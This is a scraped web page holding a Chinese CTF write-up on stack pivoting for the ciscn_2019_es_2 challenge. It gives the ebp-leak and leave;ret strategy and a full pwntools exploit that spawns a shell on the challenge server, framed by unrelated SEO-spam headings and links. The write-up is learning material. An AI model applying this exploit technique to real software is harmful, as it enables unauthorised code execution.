当前位置: 首页 > news >正文

问答网站建设东莞大岭山观音寺门票多少钱

问答网站建设,东莞大岭山观音寺门票多少钱,衡水网站排名优化公司,什么建站程序最利于seo第一道栈迁移题目#xff0c;跌跌撞撞理解了 前言 当前溢出可用空间比较少时#xff08;极端情况下仅能覆写ebp和ret#xff09;#xff0c;可以通过栈迁移的方式#xff0c;扩大shellcode的容纳空间#xff0c;其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋… 第一道栈迁移题目跌跌撞撞理解了 前言 当前溢出可用空间比较少时极端情况下仅能覆写ebp和ret可以通过栈迁移的方式扩大shellcode的容纳空间其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值所以总是通过两次leave;ret的方式修改esp到固定位置。 一、代码审计 有两次读入操作。read进的内容超过字符串的长度存在栈溢出漏洞。然而计算溢出长度发现只有8字节即刚好可以覆写ebp和ret。 发现system的函数意味着plt对应的表项存在然而这个hack函数并不能给出flag。是个tricky。 二、思路与过程 这里采用栈迁移的方式拓展可构造rop链的空间。 思路是这样的修改esp为新一处地址→前提需要修改ebp为劫持目标地址ebp给esp赋值→这意味着要知道泄露栈地址。因此 具体操作可看这个大神的blog[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客 泄露ebpmain_ebp地址 —— 通过第一个read实现计算劫持目标地址修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现 三、EXP  from pwn import * from pwn import u32,p32context.log_leveldebugioprocess(./pwn) ioremote(node4.buuoj.cn,26158) # context.terminal [tmux,splitw,-h] # gdb.attach(proc.pidof(io)[0],gdbscriptb main)elfELF(./pwn) call_system0x8048559 #这里没用system_plt的地址而是用了call _system的地址意味着参数紧跟该地址之后不需要空四个字节 leave_ret0x80484b8 #修改ebp以及ret然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp payloadba*0x27bb io.recvuntil(bname?\n) io.send(payload) # main_ebpu32(io.recvuntil(b\xf7)[-4:]) io.recvuntil(baaab) main_ebpu32(io.recv(4)) print(hex(main_ebp)) io.recv()#②第二次read则是为了在栈上填充信息修改ebp和ret后esp将迁移 # payload(bthisp32(call_system)bthatb/bin/sh\x00).ljust(0x28,ba) # 上面的payload用于本地调试时找到偏移量0x38和0x28 payload(bthisp32(call_system)p32(main_ebp-0x2c)b/bin/sh\x00).ljust(0x28,ba) #call _system,参数紧跟其后无需空开一个字长 payloadp32(main_ebp-0x38) payloadp32(leave_ret) io.sendline(payload)io.interactive() 总结 接触到高级一些的栈溢出内容需要多做题予以巩固。
http://www.hkea.cn/news/14593245/

相关文章:

  • 广州网站营销优化qq哪些经营范围是包含网站开发的
  • 怎么做网站的seo排名知乎网站关键词排名seo
  • 北京智能网站建设制作电商网站管理
  • 高新苏州网站建设无锡市梁溪区建设局网站
  • 做淘宝客网站流量选择郑州网站建设zhuotop
  • 宁波网站建设服务公司电话wordpress远程包含
  • 网站建设找哪家公司比较好自己如何做公司网站
  • 英语网站 php源码网站建设与管理心得体会
  • 保健品网站建设网站的做网站公司
  • 有哪些好的印花图案设计网站百度推广管家
  • 如何申请免费网站wordpress如何修改密码
  • 网站建设与管理的未来规划做企业网站制作
  • 建设局网站打不开是什么原因最新wordpress漏洞
  • 有合作社做网站得不访问wordpress速度慢
  • 数据表和网站建设的关系内网门户网站建设要求
  • 怎么做好seo内容优化十堰网站优化
  • 个人网店和网站的区别自己怎么设计公众号
  • 免费模板简历网站树莓派搭建wordpress
  • 企业网站模板 免费下载网站的前端和后台
  • 网站建设方案的征求意见福州市连江县建设局网站
  • 北京企业建设网站公司旅游景点推广软文
  • 网站代码关键词标题酒店如何做网站
  • 个人门户网站开发网站首页背景图片
  • 做网站学费多少钱九江市做网站的公司
  • 怡清源在慧聪网网站建设情况室内设计方案图
  • php网站开发第三章wordpress排版乱 了
  • 深圳网站建设中为个人订阅号支持微网站的建设吗
  • 成都高新区网站建设怎么给网站做404界面
  • 微信公众商城网站开发商务网站建设流程
  • 非营利组织网站建设会计分录网站程可以自己做吗